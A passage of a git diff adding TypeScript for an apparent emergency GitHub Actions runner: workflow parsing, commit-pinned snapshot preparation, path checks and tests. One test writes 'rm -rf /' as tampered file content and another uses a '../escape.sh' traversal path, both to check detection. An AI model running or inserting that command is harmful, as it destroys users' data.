client (GET only, the existing token and permissions). +// Files are read by blob SHA from the commit's tree, so every byte comes from the pinned commit. +import type { GitHubClient } from "../github/client"; +import type { SourceReader, TreeFile } from "./prepare.ts"; + +const split = (repository: string) => { + const [owner, repo] = repository.split("/") as [string, string]; + return { owner, repo }; +}; + +export function createGitHubReader(client: GitHubClient): SourceReader { + type Tree = { treeSha: string; skipped: number; files: Map }; + const trees = new Map>(); + const load = (repository: string, sha: string) => { + const key = `${repository}@${sha}`; + let tree = trees.get(key); + if (!tree) { + tree = client.getTree(split(repository), sha).then((t) => ({ treeSha: t.treeSha, skipped: t.skipped, files: new Map(t.files.map((e) => [e.path, e])) })); + trees.set(key, tree); + } + return tree; + }; + const treeOf = async (repository: string, sha: string) => (await load(repository, sha)).files; + return { + resolveCommit: (repository, ref) => client.resolveCommit(split(repository), ref), + async listFiles(repository, sha): Promise { + return [...(await treeOf(repository, sha)).entries()].map(([path, e]) => ({ path, size: e.size, executable: e.executable, gitBlob: e.sha })); + }, + async readFile(repository, sha, path) { + const entry = (await treeOf(repository, sha)).get(path); + if (!entry) throw new Error(`${path} is not in ${repository}@${sha.slice(0, 7)}`); + return client.getBlob(split(repository), entry.sha); + }, + async treeInfo(repository, sha) { + const t = await load(repository, sha); + return { treeSha: t.treeSha, skipped: t.skipped }; + }, + }; +} diff --git a/src/emergency/memory-reader.ts b/src/emergency/memory-reader.ts new file mode 100644 index 0000000..7c3a246 --- /dev/null +++ b/src/emergency/memory-reader.ts @@ -0,0 +1,44 @@ +// An in-memory SourceReader for tests and tools: repositories as path → text maps, each at one fixed commit. +import { gitBlobId, gitTreeId } from "./git-objects.ts"; +import type { SourceReader } from "./prepare.ts"; + +/** `treeSha` overrides the computed tree ID (tests of a source that lies). */ +export type MemoryRepo = { refs: string[]; sha: string; files: Record; executable?: string[]; treeSha?: string }; + +export function createMemoryReader(repos: Record): SourceReader & { reads: string[] } { + const reads: string[] = []; + const get = (repository: string) => { + const repo = repos[repository]; + if (!repo) throw new Error(`Not Found: ${repository}`); + return repo; + }; + const bytes = (v: string | Uint8Array) => (typeof v === "string" ? new TextEncoder().encode(v) : v); + return { + reads, + async resolveCommit(repository, ref) { + const repo = get(repository); + if (ref === repo.sha || repo.refs.includes(ref)) return repo.sha; + throw new Error(`No commit for ${ref}`); + }, + async listFiles(repository, sha) { + const repo = get(repository); + if (sha !== repo.sha) throw new Error("Not Found"); + return Promise.all( + Object.entries(repo.files).map(async ([path, v]) => ({ path, size: bytes(v).length, executable: repo.executable?.includes(path) ?? false, gitBlob: await gitBlobId(bytes(v)) })), + ); + }, + async treeInfo(repository, sha) { + const repo = get(repository); + if (sha !== repo.sha) throw new Error("Not Found"); + const entries = await Promise.all(Object.entries(repo.files).map(async ([path, v]) => ({ path, blob: await gitBlobId(bytes(v)), executable: repo.executable?.includes(path) ?? false }))); + return { treeSha: repo.treeSha ?? (await gitTreeId(entries)), skipped: 0 }; + }, + async readFile(repository, sha, path) { + const repo = get(repository); + const v = repo.files[path]; + if (sha !== repo.sha || v === undefined) throw new Error(`Not Found: ${path}`); + reads.push(`${repository}:${path}`); + return bytes(v); + }, + }; +} diff --git a/src/emergency/model.ts b/src/emergency/model.ts new file mode 100644 index 0000000..b8cc2dd --- /dev/null +++ b/src/emergency/model.ts @@ -0,0 +1,256 @@ +// Workflow and action definitions for emergency execution: parsed from the original YAML, shared by snapshot +// preparation, validation and the runner. Pure apart from the `yaml` parser. +import { parse } from "yaml"; + +export type Severity = "error" | "warning" | "info"; +/** A finding about a snapshot. Errors block execution; warnings and notes are shown with the snapshot. */ +export type Diagnostic = { severity: Severity; code: string; message: string; where?: string }; + +export type StepDef = { + index: number; + id?: string; + name?: string; + if?: unknown; + run?: string; + shell?: string; + uses?: string; + with: Record; + env: Record; + workingDirectory?: string; + continueOnError: unknown; + timeoutMinutes?: number; +}; + +export type JobDef = { + id: string; + name?: string; + needs: string[]; + if?: unknown; + runsOn?: unknown; + env: Record; + outputs: Record; + steps: StepDef[]; + /** A reusable workflow called by this job. */ + uses?: string; + with: Record; + secrets: Record | "inherit"; + defaults: { shell?: string; workingDirectory?: string }; + timeoutMinutes?: number; + continueOnError: unknown; + /** Keys present in the YAML that the emergency runner does not reproduce (strategy, services, …). */ + unsupportedKeys: string[]; + ignoredKeys: string[]; +}; + +export type InputSpec = { type?: string; required: boolean; default?: unknown; description?: string }; + +export type WorkflowDef = { + path: string; + name?: string; + triggers: string[]; + /** `on.workflow_call`: present when the workflow can be called. */ + call?: { inputs: Record; outputs: Record; secrets: Record }; + dispatchInputs: Record; + env: Record; + defaults: { shell?: string; workingDirectory?: string }; + jobs: JobDef[]; +}; + +export type ActionDef = { + name?: string; + using: "node" | "composite" | "docker" | "unsupported"; + /** The raw `runs.using` value, e.g. "node20". */ + runtime: string; + main?: string; + pre?: string; + post?: string; + postIf?: string; + inputs: Record; + outputs: Record; + steps: StepDef[]; +}; + +const JOB_UNSUPPORTED = ["strategy", "services", "container"]; +const JOB_IGNORED = ["runs-on", "permissions", "concurrency", "environment"]; +const JOB_KNOWN = new Set(["name", "needs", "if", "env", "outputs", "steps", "uses", "with", "secrets", "defaults", "timeout-minutes", "continue-on-error", ...JOB_UNSUPPORTED, ...JOB_IGNORED]); + +type Rec = Record; +const isRec = (v: unknown): v is Rec => typeof v === "object" && v !== null && !Array.isArray(v); +const str = (v: unknown): string | undefined => (v === undefined || v === null ? undefined : typeof v === "string" ? v : String(v)); +const strMap = (v: unknown): Record => (isRec(v) ? Object.fromEntries(Object.entries(v).map(([k, x]) => [k, str(x) ?? ""])) : {}); + +export class DefinitionError extends Error {} + +function parseYaml(text: string, what: string): Rec { + let doc: unknown; + try { + doc = parse(text, { maxAliasCount: 100 }); + } catch (error) { + throw new DefinitionError(`${what}: invalid YAML (${(error as Error).message.split("\n")[0]})`); + } + if (!isRec(doc)) throw new DefinitionError(`${what}: expected a mapping at the top level`); + return doc; +} + +function parseInputs(v: unknown): Record { + if (!isRec(v)) return {}; + return Object.fromEntries( + Object.entries(v).map(([k, spec]) => { + const s = isRec(spec) ? spec : {}; + return [k, { type: str(s.type), required: s.required === true, default: s.default, description: str(s.description) }]; + }), + ); +} + +function parseSteps(v: unknown, where: string): StepDef[] { + if (v === undefined) return []; + if (!Array.isArray(v)) throw new DefinitionError(`${where}: steps must be a list`); + return v.map((raw, index) => { + if (!isRec(raw)) throw new DefinitionError(`${where}: step ${index + 1} must be a mapping`); + const timeout = raw["timeout-minutes"]; + return { + index, + id: str(raw.id), + name: str(raw.name), + if: raw.if, + run: str(raw.run), + shell: str(raw.shell), + uses: str(raw.uses), + with: strMap(raw.with), + env: strMap(raw.env), + workingDirectory: str(raw["working-directory"]), + continueOnError: raw["continue-on-error"] ?? false, + timeoutMinutes: typeof timeout === "number" ? timeout : undefined, + }; + }); +} + +function parseDefaults(v: unknown) { + const run = isRec(v) && isRec(v.run) ? v.run : {}; + return { shell: str(run.shell), workingDirectory: str(run["working-directory"]) }; +} + +/** Event names from `on:` (a string, a list or a mapping). */ +function triggersOf(on: unknown): string[] { + if (typeof on === "string") return [on]; + if (Array.isArray(on)) return on.map(String); + if (isRec(on)) return Object.keys(on); + return []; +} + +export function parseWorkflow(path: string, text: string): WorkflowDef { + const doc = parseYaml(text, path); + const on = doc.on ?? doc.true; // YAML 1.1 parsers turn `on` into true; the yaml package (1.2) keeps "on". + const triggers = triggersOf(on); + const onRec = isRec(on) ? on : {}; + const callRaw = triggers.includes("workflow_call") ? (isRec(onRec.workflow_call) ? onRec.workflow_call : {}) : undefined; + const dispatch = isRec(onRec.workflow_dispatch) ? onRec.workflow_dispatch : {}; + if (!isRec(doc.jobs)) throw new DefinitionError(`${path}: no jobs`); + const jobs = Object.entries(doc.jobs).map(([id, raw]): JobDef => { + if (!isRec(raw)) throw new DefinitionError(`${path}: job ${id} must be a mapping`); + const needs = raw.needs === undefined ? [] : Array.isArray(raw.needs) ? raw.needs.map(String) : [String(raw.needs)]; + const secrets = raw.secrets === "inherit" ? "inherit" : strMap(raw.secrets); + const timeout = raw["timeout-minutes"]; + return { + id, + name: str(raw.name), + needs, + if: raw.if, + runsOn: raw["runs-on"], + env: strMap(raw.env), + outputs: strMap(raw.outputs), + steps: parseSteps(raw.steps, `${path} job ${id}`), + uses: str(raw.uses), + with: isRec(raw.with) ? raw.with : {}, + secrets, + defaults: parseDefaults(raw.defaults), + timeoutMinutes: typeof timeout === "number" ? timeout : undefined, + continueOnError: raw["continue-on-error"] ?? false, + unsupportedKeys: [...JOB_UNSUPPORTED.filter((k) => k in raw), ...Object.keys(raw).filter((k) => !JOB_KNOWN.has(k))], + ignoredKeys: JOB_IGNORED.filter((k) => k in raw), + }; + }); + return { + path, + name: str(doc.name), + triggers, + call: callRaw + ? { + inputs: parseInputs(callRaw.inputs), + outputs: Object.fromEntries(Object.entries(isRec(callRaw.outputs) ? callRaw.outputs : {}).map(([k, o]) => [k, str(isRec(o) ? o.value : o) ?? ""])), + secrets: Object.fromEntries(Object.entries(isRec(callRaw.secrets) ? callRaw.secrets : {}).map(([k, s]) => [k, { required: isRec(s) && s.required === true }])), + } + : undefined, + dispatchInputs: parseInputs(dispatch.inputs), + env: strMap(doc.env), + defaults: parseDefaults(doc.defaults), + jobs, + }; +} + +export function parseAction(where: string, text: string): ActionDef { + const doc = parseYaml(text, where); + const runs = isRec(doc.runs) ? doc.runs : {}; + const runtime = str(runs.using) ?? ""; + const using = /^node\d+$/.test(runtime) ? "node" : runtime === "composite" ? "composite" : runtime === "docker" ? "docker" : "unsupported"; + const inputs = isRec(doc.inputs) + ? Object.fromEntries(Object.entries(doc.inputs).map(([k, s]) => [k, { required: isRec(s) && s.required === true, default: isRec(s) ? str(s.default) : undefined }])) + : {}; + const outputs = isRec(doc.outputs) ? Object.fromEntries(Object.entries(doc.outputs).map(([k, o]) => [k, isRec(o) ? str(o.value) : undefined])) : {}; + return { + name: str(doc.name), + using, + runtime, + main: str(runs.main), + pre: str(runs.pre), + post: str(runs.post), + postIf: str(runs["post-if"]), + inputs, + outputs, + steps: using === "composite" ? parseSteps(runs.steps, where) : [], + }; +} + +// ---- `uses:` references -------------------------------------------------------------------------------------------- + +export type UsesRef = + | { kind: "local"; path: string } + | { kind: "remote"; owner: string; repo: string; path: string; ref: string } + | { kind: "docker"; image: string } + | { kind: "invalid"; raw: string }; + +const NAME = /^[A-Za-z0-9_.-]+$/; + +export function parseUses(raw: string): UsesRef { + const s = raw.trim(); + if (s.startsWith("docker://")) return { kind: "docker", image: s.slice(9) }; + if (s.startsWith("./")) { + const path = normalizePath(s.slice(2)); + return path === null ? { kind: "invalid", raw } : { kind: "local", path }; + } + const at = s.lastIndexOf("@"); + if (at <= 0) return { kind: "invalid", raw }; + const [owner, repo, ...rest] = s.slice(0, at).split("/"); + const ref = s.slice(at + 1); + if (!owner || !repo || !NAME.test(owner) || !NAME.test(repo) || !ref || /\s/.test(ref)) return { kind: "invalid", raw }; + const path = normalizePath(rest.join("/")); + return path === null ? { kind: "invalid", raw } : { kind: "remote", owner, repo, path, ref }; +} + +/** + * A safe relative path: forward slashes, no empty, "." or ".." segments, no NUL or backslash. "" is the root. + * Returns null for anything else, so no snapshot path can escape its directory. + */ +export function normalizePath(p: string): string | null { + const trimmed = p.replace(/\/+$/, ""); + if (trimmed === "") return ""; + if (trimmed.startsWith("/") || /[\\\0]/.test(trimmed)) return null; + const parts = trimmed.split("/"); + if (parts.some((x) => x === "" || x === "." || x === "..")) return null; + return parts.join("/"); +} + +export const isWorkflowPath = (p: string) => /^\.github\/workflows\/[^/]+\.ya?ml$/.test(p); + +/** `actions/checkout`, compared case-insensitively. */ +export const isCheckout = (u: UsesRef) => u.kind === "remote" && u.owner.toLowerCase() === "actions" && u.repo.toLowerCase() === "checkout" && u.path === ""; diff --git a/src/emergency/prepare.test.ts b/src/emergency/prepare.test.ts new file mode 100644 index 0000000..e6974d6 --- /dev/null +++ b/src/emergency/prepare.test.ts @@ -0,0 +1,136 @@ +import { fileURLToPath } from "node:url"; +import { describe, expect, it } from "vitest"; +import { DEMO_REPO, DEMO_SHA, demoRepos, SHARED_SHA } from "../../tools/emergency/demo-repos.ts"; +import { createMemoryReader, type MemoryRepo } from "./memory-reader.ts"; +import { prepareSnapshot, PrepareError } from "./prepare.ts"; +import { hasErrors, manifestDigest, verifySnapshot, type FileEntry } from "./snapshot.ts"; + +const root = fileURLToPath(new URL("../..", import.meta.url)); +const NOW = new Date("2026-10-30T12:00:00Z"); +const opts = { repository: DEMO_REPO, ref: "main", workflows: [".github/workflows/release.yml"], name: "release demo", expiresInDays: 30 }; + +async function prepareDemo() { + return prepareSnapshot(createMemoryReader(demoRepos(root)), opts, NOW); +} + +/** A one-repository fixture with the given workflow (and extra files). */ +function single(workflow: string, extra: Record = {}): Record { + return { "o/r": { refs: ["main"], sha: "a".repeat(40), files: { ".github/workflows/w.yml": workflow, ...extra } } }; +} +async function diagnose(repos: Record) { + const { manifest } = await prepareSnapshot(createMemoryReader(repos), { ...opts, repository: "o/r", workflows: [".github/workflows/w.yml"] }, NOW); + return manifest.diagnostics; +} +const codes = (d: { severity: string; code: string }[], severity = "error") => d.filter((x) => x.severity === severity).map((x) => x.code); + +describe("snapshot preparation of the demo pipeline", () => { + it("resolves the reusable workflow, local, external and composite actions, pinned to commits", async () => { + const { manifest } = await prepareDemo(); + expect(manifest.source).toEqual({ repository: DEMO_REPO, ref: "main", sha: DEMO_SHA }); + expect(manifest.workflows.map((w) => w.key)).toEqual([".github/workflows/release.yml", "./.github/workflows/build.yml"]); + const release = manifest.workflows[0]!; + expect(release.jobs.map((j) => [j.id, j.kind, j.needs, j.calls])).toEqual([ + ["prepare", "steps", [], undefined], + ["build", "call", ["prepare"], "./.github/workflows/build.yml"], + ["report", "steps", ["prepare", "build"], undefined], + ]); + const byKey = Object.fromEntries(manifest.actions.map((a) => [a.key, a])); + expect(byKey["actions/checkout@v4"]).toMatchObject({ substitutedBy: "packaged-workspace" }); + expect(byKey["./.github/actions/stamp"]).toMatchObject({ using: "node", runtime: "node20", root: "workspace", file: ".github/actions/stamp/action.yml" }); + expect(byKey["demo-org/shared-actions/notify@v1"]).toMatchObject({ using: "node", root: `repo/demo-org/shared-actions/${SHARED_SHA}`, dir: "notify" }); + expect(byKey["./.github/actions/summarize"]).toMatchObject({ using: "composite" }); + const build = manifest.workflows[1]!; + expect(build.jobs.find((j) => j.id === "package")!.steps.flatMap((s) => s.scripts)).toEqual(["scripts/checksum.py", "scripts/verify.sh"]); + }); + + it("records required secret names (never values), inputs and runtimes, and has no blocking errors", async () => { + const { manifest } = await prepareDemo(); + expect(manifest.requirements.secrets.map((s) => s.name)).toEqual(["DEMO_SIGNING_KEY"]); + expect(Object.keys(manifest.requirements.inputs[".github/workflows/release.yml"]!)).toEqual(["version"]); + expect(manifest.requirements.runtimes).toEqual(["bash", "node", "python"]); + expect(hasErrors(manifest.diagnostics)).toBe(false); + expect(codes(manifest.diagnostics, "warning")).toContain("node-runtime"); + expect(codes(manifest.diagnostics, "info")).toEqual(expect.arrayContaining(["checkout-substituted", "triggers", "pinned"])); + expect(JSON.stringify(manifest)).not.toMatch(/signing-key-value/); + }); + + it("packages every file with its sha256 and verifies; tampering, removal and expiry are detected", async () => { + const { manifest, contents } = await prepareDemo(); + const contentOf = async (f: FileEntry) => contents.get(f.sha256); + expect(await verifySnapshot(manifest, contentOf, NOW)).toEqual([]); + expect(manifest.files.find((f) => f.path === "scripts/verify.sh")).toMatchObject({ executable: true }); + expect(manifest.files.some((f) => f.root.startsWith("repo/demo-org/shared-actions/") && f.path === "notify/index.js")).toBe(true); + + const tampered = new Map(contents); + const target = manifest.files.find((f) => f.path === "scripts/build.sh")!; + tampered.set(target.sha256, new TextEncoder().encode("rm -rf /\n")); + expect((await verifySnapshot(manifest, async (f) => tampered.get(f.sha256), NOW)).map((d) => d.code)).toEqual(["content-mismatch"]); + expect((await verifySnapshot({ ...manifest, files: manifest.files.slice(1) }, contentOf, NOW)).map((d) => d.code)).toContain("totals"); + expect((await verifySnapshot({ ...manifest, files: [{ ...target, path: "../escape.sh" }, ...manifest.files] }, undefined, NOW)).map((d) => d.code)).toContain("file-path"); + expect((await verifySnapshot(manifest, contentOf, new Date("2027-01-01T00:00:00Z"))).map((d) => d.code)).toEqual(["expired"]); + }); + + it("is deterministic: the same commit gives the same digest; a changed file gives a new one", async () => { + const a = await prepareDemo(); + const b = await prepareDemo(); + expect(await manifestDigest(a.manifest)).toBe(await manifestDigest(b.manifest)); + const repos = demoRepos(root); + repos[DEMO_REPO]!.files["src/app/main.txt"] = "changed\n"; + const c = await prepareSnapshot(createMemoryReader(repos), opts, NOW); + expect(await manifestDigest(c.manifest)).not.toBe(await manifestDigest(a.manifest)); + }); + + it("packages only the selected supporting files, and refuses to drop a script a step uses", async () => { + const { manifest } = await prepareSnapshot(createMemoryReader(demoRepos(root)), { ...opts, include: ["src"] }, NOW); + const ws = manifest.files.filter((f) => f.root === "workspace").map((f) => f.path); + expect(ws.some((p) => p.startsWith(".github/"))).toBe(true); + expect(ws).not.toContain("README.md"); + expect(codes(manifest.diagnostics)).toContain("excluded-script"); + }); +}); + +describe("snapshot validation refuses what the runner cannot reproduce", () => { + const job = (body: string) => `on: workflow_dispatch\njobs:\n j:\n runs-on: ubuntu-latest\n${body}`; + + it("matrix, services and containers", async () => { + expect(codes(await diagnose(single(job(" strategy:\n matrix:\n n: [1, 2]\n steps:\n - run: echo ${{ matrix.n }}\n"))))).toEqual(expect.arrayContaining(["job-feature", "matrix"])); + expect(codes(await diagnose(single(job(" services:\n db:\n image: postgres\n steps:\n - run: true\n"))))).toContain("job-feature"); + }); + + it("GitHub-issued credentials and event payloads", async () => { + const d = await diagnose(single(job(" steps:\n - run: echo ${{ secrets.GITHUB_TOKEN }} ${{ github.token }} ${{ github.event.head_commit.id }}\n"))); + expect(codes(d)).toEqual(expect.arrayContaining(["github-token", "event-payload"])); + }); + + it("unsupported functions, shells, Docker actions and GitHub-service actions", async () => { + const d = await diagnose(single(job(" steps:\n - run: echo ${{ hashFiles('x') }}\n - run: Get-Date\n shell: pwsh\n - uses: docker://alpine:3\n - uses: actions/upload-artifact@v4\n"))); + expect(codes(d)).toEqual(expect.arrayContaining(["function", "shell", "docker-action", "github-service"])); + }); + + it("JavaScript actions with deprecated runtimes, pre: scripts or unpackaged dependencies", async () => { + const d = await diagnose( + single(job(" steps:\n - uses: ./a\n - uses: ./b\n"), { + "a/action.yml": "runs:\n using: node16\n main: index.js\n", + "a/index.js": "", + "b/action.yml": "runs:\n using: node20\n main: index.js\n pre: setup.js\n", + "b/index.js": "const core = require('@actions/core'); const fs = require('node:fs');", + }), + ); + expect(codes(d)).toEqual(expect.arrayContaining(["node-runtime", "action-pre", "action-dependency"])); + expect(d.find((x) => x.code === "action-dependency")!.message).toMatch(/@actions\/core/); + }); + + it("reusable workflow problems: undeclared inputs, missing required secrets, cycles", async () => { + const d = await diagnose( + single("on: workflow_dispatch\njobs:\n call:\n uses: ./.github/workflows/c.yml\n with:\n nope: 1\n", { + ".github/workflows/c.yml": "on:\n workflow_call:\n secrets:\n key:\n required: true\njobs:\n again:\n uses: ./.github/workflows/c.yml\n", + }), + ); + expect(codes(d)).toEqual(expect.arrayContaining(["reusable-input", "reusable-secret", "cycle"])); + }); + + it("refuses input it cannot prepare", async () => { + await expect(prepareSnapshot(createMemoryReader(single("jobs: {}")), { ...opts, repository: "o/r", workflows: ["README.md"] }, NOW)).rejects.toThrow(PrepareError); + await expect(prepareSnapshot(createMemoryReader(single("jobs: {}")), { ...opts, repository: "o/r", workflows: [".github/workflows/w.yml"], expiresInDays: 365 }, NOW)).rejects.toThrow(/Expiry/); + }); +}); diff --git a/src/emergency/prepare.ts b/src/emergency/prepare.ts new file mode 100644 index 0000000..c70266a --- /dev/null +++ b/src/emergency/prepare.ts @@ -0,0 +1,592 @@ +// Snapshot preparation: resolves a workflow's complete execution dependency graph (reusable workflows, local and +// external actions, nested composite actions, scripts) at exact commits, checks it against what the emergency runner +// can reproduce, and packages every file it needs. Runs while GitHub is available, through a SourceReader (the +// browser's read-only GitHub client, or the fixture API). Pure apart from the reader. +import { analyse, ExpressionError, FUNCTIONS, parseCondition, parseExpression, templateExpressions } from "./expressions.ts"; +import type { ActionDef, Diagnostic, InputSpec, JobDef, StepDef, WorkflowDef } from "./model.ts"; +import { DefinitionError, isCheckout, isWorkflowPath, normalizePath, parseAction, parseUses, parseWorkflow } from "./model.ts"; +import type { ActionEntry, FileEntry, GraphJob, GraphStep, Manifest, Requirement, RootEntry, RootId, WorkflowEntry } from "./snapshot.ts"; +import { LIMITS, repoRoot, SNAPSHOT_SCHEMA, sha256Hex, WORKSPACE } from "./snapshot.ts"; + +/** `gitBlob`: the Git blob ID the source reports for the file (security review H1). */ +export type TreeFile = { path: string; size: number; executable?: boolean; gitBlob?: string }; + +/** Read-only access to repositories at exact commits. */ +export interface SourceReader { + resolveCommit(repository: string, ref: string): Promise; + listFiles(repository: string, sha: string): Promise; + readFile(repository: string, sha: string, path: string): Promise; + /** The Git tree ID of the commit, and how many entries listFiles left out (symlinks, submodules). */ + treeInfo?(repository: string, sha: string): Promise<{ treeSha: string; skipped: number }>; +} + +export type PrepareOptions = { + repository: string; + ref: string; + /** Pin to this commit; otherwise `ref` is resolved once and every file is read at the result. */ + sha?: string; + workflows: string[]; + name: string; + expiresInDays: number; + /** Workspace path prefixes to package (supporting files). Empty or absent: the whole repository. */ + include?: string[]; + onProgress?: (message: string) => void; +}; + +export class PrepareError extends Error {} + +/** `github` context keys the runner provides (as values for an emergency run, not GitHub's). */ +const GITHUB_KEYS = new Set([ + "repository", "repository_owner", "sha", "ref", "ref_name", "ref_type", "workflow", "run_id", "run_number", "run_attempt", "actor", + "triggering_actor", "event_name", "workspace", "action", "action_path", "job", "server_url", "api_url", "head_ref", "base_ref", "event", +]); +const CONTEXTS = new Set(["github", "env", "inputs", "secrets", "vars", "steps", "needs", "job", "runner", "jobs", "matrix", "strategy"]); +const NODE_BUILTINS = new Set( + ("assert buffer child_process cluster console constants crypto dgram diagnostics_channel dns domain events fs http http2 https inspector " + + "module net os path perf_hooks process punycode querystring readline repl stream string_decoder sys timers tls trace_events tty url " + + "util v8 vm wasi worker_threads zlib test sqlite async_hooks").split(" "), +); +const NETWORK_HINTS: [RegExp, string][] = [ + [/\bnpm\s+(?:ci|install|i)\b|\byarn(?:\s+install)?\b|\bpnpm\s+(?:i|install)\b/, "npm registry (package install)"], + [/\bpip3?\s+install\b|\bpython3?\s+-m\s+pip\s+install\b|\bpoetry\s+install\b/, "Python package index (pip install)"], + [/\bapt(?:-get)?\s+install\b|\bapk\s+add\b/, "OS package repository"], + [/\bcurl\b|\bwget\b/, "HTTP download (curl/wget)"], + [/\bgit\s+(?:clone|fetch|pull|push|ls-remote)\b/, "Git remote (likely GitHub)"], + [/\bgh\s+[a-z]/, "GitHub CLI (GitHub API)"], + [/github\.com|githubusercontent\.com|ghcr\.io/, "GitHub host named in the script"], + [/\bdocker\s+(?:pull|push|login|run|build)\b/, "Container registry (docker)"], +]; +/** Actions whose purpose is a GitHub service that is unavailable during an outage. */ +const GITHUB_SERVICE_ACTIONS: Record = { + "actions/upload-artifact": "stores artifacts in GitHub", + "actions/download-artifact": "downloads artifacts from GitHub", + "actions/cache": "uses GitHub's cache service", + "actions/github-script": "calls the GitHub API with GitHub's token", + "actions/setup-node": "downloads Node.js from GitHub or nodejs.org", + "actions/setup-python": "downloads Python from GitHub", + "actions/setup-go": "downloads Go", + "actions/setup-java": "downloads a JDK", + "actions/create-release": "calls the GitHub API", + "actions/deploy-pages": "deploys to GitHub Pages", + "actions/upload-pages-artifact": "stores a Pages artifact in GitHub", +}; + +type Root = { + id: RootId; + repository: string; + ref: string; + sha: string; + kind: RootEntry["kind"]; + tree: Map; + executable: Set; + whole: boolean; + blobs: Map; + gitTree?: string; + /** Entries the source couldn't list as regular files; any makes the tree unrecomputable. */ + skipped: number; + /** Files left out of the package (not selected, or too large). */ + omitted: number; +}; + +export async function prepareSnapshot(reader: SourceReader, opts: PrepareOptions, now = new Date()): Promise<{ manifest: Manifest; contents: Map }> { + const progress = opts.onProgress ?? (() => {}); + const diagnostics: Diagnostic[] = []; + const diag = (severity: Diagnostic["severity"], code: string, message: string, where?: string) => { + if (!diagnostics.some((d) => d.code === code && d.message === message && d.where === where)) diagnostics.push({ severity, code, message, where }); + }; + if (!/^[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+$/.test(opts.repository)) throw new PrepareError("Repository must be OWNER/REPO"); + if (!opts.workflows.length) throw new PrepareError("Select at least one workflow"); + if (!(opts.expiresInDays >= 1 && opts.expiresInDays <= LIMITS.maxExpiryDays)) throw new PrepareError(`Expiry must be 1–${LIMITS.maxExpiryDays} days`); + + progress(`Resolving ${opts.ref}…`); + const sha = opts.sha ?? (await reader.resolveCommit(opts.repository, opts.ref)); + if (!/^[0-9a-f]{40}$/.test(sha)) throw new PrepareError(`Could not resolve ${opts.ref} to a commit`); + + const roots = new Map(); + const fileCache = new Map(); + const loadRoot = async (repository: string, ref: string, rootSha: string, kind: Root["kind"], id: RootId): Promise => { + const existing = roots.get(id); + if (existing) { + if (kind === "action") existing.whole = true; + return existing; + } + progress(`Listing ${repository}@${rootSha.slice(0, 7)}…`); + const files = await reader.listFiles(repository, rootSha); + const info = reader.treeInfo ? await reader.treeInfo(repository, rootSha) : undefined; + const root: Root = { + id, + repository, + ref, + sha: rootSha, + kind, + tree: new Map(files.map((f) => [f.path, f.size])), + executable: new Set(files.filter((f) => f.executable).map((f) => f.path)), + whole: kind !== "workflow", + blobs: new Map(files.flatMap((f) => (f.gitBlob ? [[f.path, f.gitBlob] as [string, string]] : []))), + gitTree: info?.treeSha, + skipped: info?.skipped ?? 0, + omitted: 0, + }; + roots.set(id, root); + return root; + }; + const read = async (root: Root, path: string): Promise => { + const key = `${root.id}:${path}`; + let data = fileCache.get(key); + if (!data) { + data = await reader.readFile(root.repository, root.sha, path); + fileCache.set(key, data); + } + return data; + }; + const readText = async (root: Root, path: string) => new TextDecoder().decode(await read(root, path)); + const workflowFiles = new Set(); // `${root}:${path}` read for remote reusable workflows + + const workspace = await loadRoot(opts.repository, opts.ref, sha, "workspace", WORKSPACE); + const remoteCommits = new Map(); + const resolveRemote = async (owner: string, repo: string, ref: string, where: string): Promise => { + const key = `${owner}/${repo}@${ref}`; + if (remoteCommits.has(key)) return remoteCommits.get(key)!; + try { + const resolved = /^[0-9a-f]{40}$/.test(ref) ? ref : await reader.resolveCommit(`${owner}/${repo}`, ref); + remoteCommits.set(key, resolved); + if (!/^[0-9a-f]{40}$/.test(ref)) diag("info", "pinned", `${key} resolved to ${resolved}; the snapshot keeps that commit`, where); + return resolved; + } catch (error) { + diag("error", "resolve-failed", `Could not resolve ${key}: ${(error as Error).message}`, where); + return null; + } + }; + + const workflows: WorkflowEntry[] = []; + const actions = new Map(); + const secrets = new Map>(); + const variables = new Map>(); + const services = new Map>(); + const runtimes = new Set(); + const inputs: Record> = {}; + const need = (map: Map>, name: string, where: string) => { + if (!map.has(name)) map.set(name, new Set()); + map.get(name)!.add(where); + }; + + /** Scope for expression checks: which secrets are reachable, and whether they reach the caller (top level). */ + type Scope = { secretsTopLevel: boolean; declaredSecrets?: Set; inherit: boolean; allowJobs?: boolean; composite?: boolean }; + + const checkText = (text: unknown, where: string, scope: Scope, isCondition = false) => { + if (text === undefined || text === null) return; + const sources: string[] = []; + if (isCondition) { + try { + const e = parseCondition(text); + checkExpr(analyse(e), where, scope); + } catch (error) { + diag("error", "expression", `${(error as Error).message} in if: ${String(text)}`, where); + } + return; + } + sources.push(...templateExpressions(String(text))); + for (const src of sources) { + try { + checkExpr(analyse(parseExpression(src)), where, scope); + } catch (error) { + diag("error", "expression", `${error instanceof ExpressionError ? error.message : String(error)} in \${{ ${src} }}`, where); + } + } + }; + + const checkExpr = (use: ReturnType, where: string, scope: Scope) => { + for (const f of use.functions) if (!FUNCTIONS.has(f)) diag("error", "function", `${f}() is not supported by the emergency runner`, where); + for (const ctx of use.dynamicContexts) diag("error", "dynamic-context", `A computed ${ctx}[…] lookup can't be checked or supplied in advance`, where); + for (const ref of use.references) { + const [root, second, third] = ref.split("."); + if (!root || !CONTEXTS.has(root)) { + diag("error", "context", `Unknown or unsupported context "${ref}"`, where); + continue; + } + if (root === "matrix" || root === "strategy") diag("error", "matrix", "Matrix strategies are not supported", where); + if (root === "jobs" && !scope.allowJobs) diag("error", "context", `"${ref}" is only available in workflow_call outputs`, where); + if (root === "secrets") { + if (scope.composite) diag("error", "secrets", "Composite actions can't read the secrets context; pass the value as an input", where); + else if (!second) diag("error", "secrets", "The whole secrets context can't be passed", where); + else if (second.toUpperCase() === "GITHUB_TOKEN") diag("error", "github-token", "secrets.GITHUB_TOKEN is issued by GitHub for each run and is not available during an outage", where); + else if (scope.secretsTopLevel || scope.inherit) need(secrets, second, where); + else if (scope.declaredSecrets && !scope.declaredSecrets.has(second.toLowerCase())) diag("warning", "secret-undeclared", `secrets.${second} is not declared in workflow_call and will be empty`, where); + } + if (root === "vars") { + if (!second) diag("error", "vars", "The whole vars context can't be used", where); + else need(variables, second, where); + } + if (root === "github") { + if (!second) diag("warning", "github-context", "The github context is an emergency-run substitute, not GitHub's", where); + else if (second === "token") diag("error", "github-token", "github.token is issued by GitHub for each run and is not available during an outage", where); + else if (second === "event" && third !== "inputs") diag("error", "event-payload", `"${ref}" needs a GitHub event payload; emergency runs have only inputs`, where); + else if (!GITHUB_KEYS.has(second)) diag("warning", "github-context", `"${ref}" is not provided by the emergency runner and evaluates to empty`, where); + } + 